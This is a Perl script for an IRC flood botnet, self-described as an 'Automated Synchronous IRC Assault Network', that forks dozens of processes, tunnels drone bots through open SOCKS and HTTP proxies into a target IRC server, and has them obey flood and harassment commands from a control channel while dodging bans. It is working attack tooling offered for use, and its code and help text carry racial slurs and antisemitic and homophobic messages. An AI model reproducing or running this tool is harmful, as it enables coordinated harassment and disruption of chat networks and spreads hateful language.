#!/usr/bin/perl # # # {{{ original copyrights & info # This is proxysuite, written in GNU/PURL # by Jmax, of bantown and the GNAA. # It gathers and tests proxies, both http and socks4 # This product is licensed under the BPL. # You should have recieved a copy of the # license with this program # el8 tr0ll c0dez by Jmax [ BANTOWN irc.bantown.com #bantown ] [ GNAA irc.gnaa.us #gnaa ] # ASIAN 2.0 by Jmax # # I have made many modifications: # - Use of command line arguments as opposed to editing the script itself. # - Adding a SOCKS routine, instead of using Net::SOCKS (no non-standard modules will be required) # - Adding a random nick/fullname/ircname routine, instead of using Crypt::RandPasswd (no non-standard modules will be required) # - Improved fork routine/library # Must be run on a POSIX-compliant system, with perl. # note that there's a bug in the way that COMPUTER MACHINEZ COMPUTE, # and therefore proxies can't be shared between forks. Oh well. # The original header (for historical reasons) # is as follows (NOTE: syntax here is _incorrect_): # ----------------------------------------------- # ASIAN by Rucas # Automated Synchronous IRC Assault Network # Based on AYSYN by mef # # Make sure to put a SOCKS5 proxy list in proxies.txt in the same # directory as this script. If you'd like to use tor, you can put # the correct info on one line in proxies.txt and this app will # still function properly (although generally tor sucks) # # All bots join $g_channel and are issued raw irc commands from there # using syntax "all PRIVMSG Rucas lol you fail it" for all bots or # "botname PRIVMSG Rucas lol failure" and such. # # Testing of an early version of this script is the reason that # Freenode now checks for open SOCKS proxies. # ----------------------------------------------- # }}} use warnings; use strict; use IO::Socket; use IO::Handle; use POSIX qw(:signal_h :sys_wait_h); # fork use Time::HiRes; # use Data::Dumper; use vars qw($VERSION); $VERSION = "3.0"; # {{{ globals my ($g_forkcount, $g_pid) = (0, undef); my ($g_dead_nigger_storage, $g_maxfork) = (0, 40); my ($g_network, $g_channel); # }}} # {{{ signal handlers $SIG{INT} = sub { kill('INT', (getpgrp(0) * -1)) && exit; }; $SIG{CHLD} = sub { $g_dead_nigger_storage++ while(($g_pid = waitpid(-1, WNOHANG)) > 0); }; # }}} # {{{ entry point error("please run using the --help argument") unless $ARGV[0]; if ($ARGV[0] eq '--help') { show_usage(); exit 0; } elsif ($ARGV[0] eq '--version') { show_version(); exit 0; } else { error("please run using the --help argument") unless $ARGV[1]; $g_network = $ARGV[0]; $g_channel = $ARGV[1]; } # }}} # {{{ help/usage information sub show_help { print "arab $VERSION by vxp\n". "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n". "!!! STOP SUPPORTING ISRAELI DOGS !!!\n". "Based on code & ideas by Jmax, Rucas, abez and mef.\n". "\n". "\n". " Invocation:\n". " perl ".__FILE__." server \"#channel\"\n". "\n". " XXX, and \"#channel\" is the control channel you want the bots\n". " to join. Please note that some shells will interpret the # in\n". " \"#channel\" as acomment, and will not send it to the script.\n". " In this case, you may either use quotes, or escape the '#'.\n". " I prefer quotes.\n". " Note that a list of (nick|user|real) names is expected to reside\n". " in ./names.txt\n". "\n". "\n". " Usage:\n". " all [space-delimited arguments] :[arguments with spaces]\n". " [space-delimited arguments] :[arguments with spaces]\n". " ,,... [space-delimited arguments] :[arguments with spaces]\n". "\n". " Simply privmsg your command to the control channel, and the respective bots will follow.\n". "\n". " Examples:\n". " <~supers> all join #gnaa gnaa\n". " All bots will join #gnaa using the key 'gnaa'\n". " <~supers> all privmsg #gnaa :LOL HY LOL HY\n". " All bots will say \"LOL HY LOL HY\" in #gnaa\n". " <\@Rucas> fgtbot2235 nick NOT_FGT_LOL_GIMME_VOICE\n". " The bot with the nick 'fgtbot2235' will change its nick to 'NOT_FGT_LOL_GIMME_VOICE'\n". " <\@Jmax> NOT_FGT_LOL_GIMME_VOICE,dongs,loljews,nullo_is_a_fag_LOL part #gnaa :lol jews\n". " The bots with the nicks 'NOT_FGT_LOL_GIMME_VOICE', 'dongs', 'loljews', and 'nullo_is_a_fag_LOL'\n". " will part #gnaa with reason 'lol jews'\n". "\n". "\n". " Enjoy. -- vxp\n"; } # }}} # {{{ version information sub show_version { print "arab $VERSION by vxp\n". "!!! THIS ASIAN 2.1 BY JMAX HACKED BY HIZBULLAH !!!\n". "!!! STOP SUPPORTING ISRAELI DOGS !!!\n". "Based on code & ideas by Jmax, Rucas, abez and mef.\n". "\n"; } # }}} # load the proxy and name list(s) my @g_proxies = load_proxy_list(); my @g_names = load_name_list(); # resolve the host name of the specified target ircd # and cache it in a shared variable my ($g_server_host, @g_server_ip); $g_server_host = $ARGV[0]; @g_server_ip = resolve($g_server_host); # fork(2) off up to $g_maxfork child processes to use as # a pool for subsequent connection attempts notice("Initializing (forking) bots"); for ($g_forkcount = 0; # $g_forkcount must _not_ $g_forkcount < $g_maxfork; # be local to here $g_forkcount++) { sleep 1; # so we don't overload ourselves if (!defined(my $g_pid = fork())) { # fork error("couldn't fork: $!"); # die if fork fails } elsif ($g_pid == 0) { # in child: while (@g_proxies) { # grab a random proxy off the list... my $proxy_slot = int rand @g_proxies; my $proxy = $g_proxies[$proxy_slot]; # ...attempt to establish a connection through it and # join a drone into the control channel on success. if(spawn_bot($proxy->{ip}, $proxy->{port}, $proxy->{type}, @g_server_ip, $g_server_host)) { # succeeded } else { # failed, delete proxy # XXX: not shared #delete $g_proxies[$proxy_slot]; }; sleep 10; # to prevent throttling by IRCd } exit 0; } else { # in parent: } } sleep while ($g_dead_nigger_storage < $g_maxfork); exit 666; # {{{ load lists sub load_proxy_list { my (@proxies); error("$@") unless push @proxies, load_socks4_list(); error("$@") unless push @proxies, load_socks5_list(); error("$@") unless push @proxies, load_http_list(); return @proxies; } sub load_socks4_list { my (@proxies); open SOCKSFILE, "<", "./socks4.txt" or error("could not open SOCKS 4 proxy file socks4.txt: $!"); while () { chomp; my ($ip, $port) = /([^:]+):([0-9]+)/; push @proxies, ({ip => $ip, port => $port, type => '4'}); } close(SOCKSFILE) or error("could not close SOCKS 4 proxy file socks4.txt: $!"); notice("acquired ". scalar(@proxies) ." SOCKS 4 prox(y|ies)."); return (@proxies); } sub load_socks5_list { my (@proxies); open SOCKSFILE, "<", "./socks5.txt" or error("could not open SOCKS 5 proxy file socks5.txt: $!"); while () { chomp; my ($ip, $port) = /([^:]+):([0-9]+)/; push @proxies, ({ip => $ip, port => $port, type => '5'}); } close(SOCKSFILE) or error("could not close SOCKS 5 proxy file socks5.txt: $!"); notice("acquired ". scalar(@proxies) ." SOCKS 5 prox(y|ies)."); return (@proxies); } sub load_http_list { my (@proxies); open HTTPFILE, "<", "./http.txt" or error("could not open HTTP proxy file http.txt: $!"); while () { chomp; my ($ip, $port) = /([^:]+):([0-9]+)/; push @proxies, ({ip => $ip, port => $port, type => 'h'}); } close(HTTPFILE) or error("could not close HTTP proxy file http.txt: $!"); notice("acquired ". scalar(@proxies) ." http prox(y|ies)."); return (@proxies); } sub load_name_list { my (@names); open NAMESFILE, "<", "./names.txt" or error("could not open (nick|user|real) name list file names.txt: $!"); while () { chomp; push @names, $_; }; close(NAMESFILE) or error("could not close (nick|user|real) name list file names.txt: $!"); notice("acquired ". scalar(@names) ." (nick|user|real) name(|s)."); return (@names); } # }}} # {{{ wrappers/tools sub iptoipstr { my ($ip) = $_; my $d = $ip % 256; $ip -= $d; $ip /= 256; my $c = $ip % 256; $ip -= $c; $ip /= 256; my $b = $ip % 256; $ip -= $b; $ip /= 256; my $a = $ip; my $ipstr = "$a.$b.$c.$d"; return $ipstr; } sub notice { my $notice = shift; print ">>>> ". $notice ."\n"; return; } sub incoming { my ($nick, $line, $server) = @_; #printf("IRCd >>>> %-12s ] %s\n", $nick, $line); return; } sub outgoing { my ($nick, $line, $server) = @_; #printf("IRCd <<<< %-12s ] %s\n", $nick, $line); return; } sub warning { my $warning = shift; print "!!!! ". $warning ."\n"; return; } sub error { my $error = shift; print "!!!! ". $error ."\n"; exit 0; } # }}} # {{{ per-drone logic sub spawn_bot { # only return 0 if the proxy failed. Otherwise, return 1; my ($proxy_ip, $proxy_port, $proxy_type, $remote_ip, $remote_host) = @_; my $nick = $g_names[int rand @g_names]; my ($ident, $realname) = ($nick, $nick); my ($line, $sock, $altsock); my ($pingtime) = -1; eval { local $SIG{ALRM} = sub { die "alarm\n" }; # NB: \n required alarm 5; $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type, $remote_ip, 6667); alarm 0; }; if ($@) { error("unkown error: $@") unless $@ eq "alarm\n"; # propagate unexpected errors #warning("$proxy_ip:$proxy_port not responding, removing from list"); #return 0; } $sock = connect_to_proxy($proxy_ip, $proxy_port, $proxy_type, $remote_ip, 6667); return 0 unless $sock; print $sock "NICK $nick\r\n"; outgoing($nick, "NICK $nick"); print $sock "USER $ident * * :$realname\r\n"; outgoing($nick, "USER $ident * * :$realname"); while ($line = <$sock>) { chomp $line; # MIGHT WANNA ADJUST THESE vv next if $line =~ /372/; # ignore motd msgs incoming($nick, $line); last if $line =~ /376|422/; # end of motd or no motd return 0 if $line =~ /BANNED/i; return 0 if $line =~ /ERROR.*G.lined/i; return 0 if $line =~ /ERROR.*K.lined/i; return 1 if $line =~ /ERROR/i; return 1 if $line =~ /432/; return 1 if $line =~ /433/; # MIGHT WANNA ADJUST THESE ^^ if ($line =~ /PING (.*)$/) { print $sock "PONG $1\r\n"; } } print $sock "JOIN $g_channel\r\n"; outgoing($nick, "JOIN $g_channel"); notice("connected to $remote_host as $nick!$ident ($proxy_ip:$proxy_port:$proxy_type)"); while ($line = <$sock>) { chomp $line; if ($line =~ /PING (.*)$/) { print $sock "PONG $1\r\n"; } elsif ($line =~ /PONG/) { if($pingtime != -1) { print $sock "PRIVMSG $g_channel :PONG received after ". Time::HiRes::tv_interval($pingtime,[Time::HiRes::gettimeofday]) ." secs\r\n"; $pingtime = -1; } } elsif ($line =~ /PRIVMSG $g_channel :\.status/i) { print $sock "PRIVMSG $g_channel :I'm $nick on $remote_host via $proxy_ip:$proxy_port (type: $proxy_type)\r\n"; } elsif ($line =~ /PRIVMSG $g_channel :\.ping/i) { $pingtime = [Time::HiRes::gettimeofday]; print $sock "PING :$pingtime\r\n"; } elsif ($line =~ /PRIVMSG $g_channel :\.randnick/i || $line =~ /432/ || $line =~ /433/) { incoming($nick, $line); $nick = $g_names[int rand @g_names]; print $sock "NICK $nick\r\n"; outgoing($nick, "NICK $nick"); } elsif ($line =~ /PRIVMSG $g_channel :all(\/{1}[^ ]+) (.*)$/i) { my ($qualifiers, $cmds) = ($1, $2); my (undef, $repeat) = split /\//, $qualifiers; $cmds =~ s/\$nick/$nick/g; my (@cmds) = split /;/, $cmds; my $current = 0; while ($current < $repeat) { foreach my $cmd (@cmds) { if ($cmd =~ /\.randnick/) { $nick = $g_names[int rand @g_names]; print $sock "NICK $nick\r\n"; } else { print $sock "$cmd\r\n"; } } $current++; } } elsif ($line =~ /PRIVMSG $g_channel :(?:\S*|\s*)$nick(?:\S*|\s*)(\/{1}[^ ]+) (.*)$/i) { my ($qualifiers, $cmds) = ($1, $2); my (undef, $repeat) = split /\//, $qualifiers; if ($cmds =~ /nick (\S*)/i) { $nick = $1; } my (@cmds) = split /;/, $cmds; my $current = 0; while ($current < $repeat) { foreach my $cmd (@cmds) { if ($cmd =~ /\.randnick/) { $nick = $g_names[int rand @g_names]; print $sock "NICK $nick\r\n"; } else { print $sock "$cmd\r\n"; } } $current++; } incoming($nick, $line); outgoing($nick, $cmds); } elsif ($line =~ /^:(.*)!.* (PRIVMSG|NOTICE) $nick :(.*)$/i) { my $msg = $3; chomp $msg; if($2 eq 'PRIVMSG') { print $sock "PRIVMSG $g_channel :<$1> $msg\r\n"; } else { print $sock "PRIVMSG $g_channel :-$1- $msg\r\n"; } } elsif ($line =~ /473/) { # (channel is +i) alarm 5; $SIG{ALRM} = sub { print $sock "JOIN $g_channel\r\n"; alarm 0; }; } else { incoming($nick, $line); } } } # }}} # {{{ proxy protocol handshakes/tunnel establishment sub connect_to_proxy { my ($proxy_ip, $proxy_port, $proxy_type, $remote_ip, $remote_port) = @_; if($proxy_type eq '4') { return connect_to_socks4_proxy($proxy_ip, $proxy_port, $remote_ip, $remote_port); } elsif($proxy_type eq '5') { return connect_to_socks5_proxy($proxy_ip, $proxy_port, $remote_ip, $remote_port); } elsif($proxy_type eq 'h') { return connect_to_http_proxy($proxy_ip, $proxy_port, $remote_ip, $remote_port); } else { error("unknown proxy type $proxy_type ($proxy_ip:$proxy_port)"); } } sub connect_to_socks4_proxy { # see http://socks.permeo.com/protocol/socks4.protocol my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; my $sock = IO::Socket::INET->new( PeerAddr => $socks_ip, PeerPort => $socks_port, Proto => 'tcp', Timeout => '8' ); return unless $sock; $sock->autoflush(1); print $sock pack('CCn', 4, 1, $remote_port) . inet_aton($remote_ip) . pack('x'); my $received = ''; while (read($sock, $received, 8) && (length($received) < 8)) {} my ($vn, $cd, $listen_port, $listen_addr) = unpack('CCnN', $received); return unless $cd; if ($cd != 90) { return; } return $sock; } sub connect_to_socks5_proxy { my ($socks_ip, $socks_port, $remote_ip, $remote_port) = @_; my $sock = IO::Socket::INET->new( PeerAddr => $socks_ip, PeerPort => $socks_port, Proto => 'tcp', Timeout => '8' ); return unless $sock; $sock->autoflush(1); print $sock pack('CCC', 5, 1, 0); my $received = ''; while (read($sock, $received, 2) && (length($received) < 2)) {} my (undef, $method) = unpack('CC', $received); print "received: '$received'\n"; return if $method == 0xFF; print $sock pack ('CCCCNn', 5, 1, 0, 1, inet_aton($remote_ip), $remote_port); $received = ''; while (read($sock, $received, 2) && (length($received) < 4)) {} my ($vn, $rep) = unpack('CC', $received); if ($rep != 0) { return; } return $sock; } sub connect_to_http_proxy { my ($http_ip, $http_port, $remote_ip, $remote_port) = @_; my $sock = IO::Socket::INET->new( PeerAddr => $http_ip, PeerPort => $http_port, Proto => 'tcp', Timeout => '8' ); return unless $sock; $sock->autoflush(1); print $sock "CONNECT $remote_ip:$remote_port HTTP/1.0\r\n\r\n"; my $received = ''; while (read($sock, $received, 12) && (length($received) < 12)) {} my (undef, $response) = split / /, $received; return if $received eq ""; return if $response ne '200'; while(read($sock, $received, 1)) { if($received eq "\n") { read($sock, $received, 1); if($received eq "\r") { read($sock, $received, 1); return $sock; } } } return; } sub resolve { my $host = shift; my (undef, undef, undef, undef, @servers) = gethostbyname($host); unless (@servers) { error("cannot resolve server $host: $?"); return 0; } my @servers_ip; foreach my $server (@servers) { my ($a, $b, $c, $d) = unpack('C4', $server); my $server_ip = "$a.$b.$c.$d"; push (@servers_ip, $server_ip); } return @servers_ip; } # }}} # vim:ts=2 # vim:sw=2 # vim:expandtab # vim:foldmethod=marker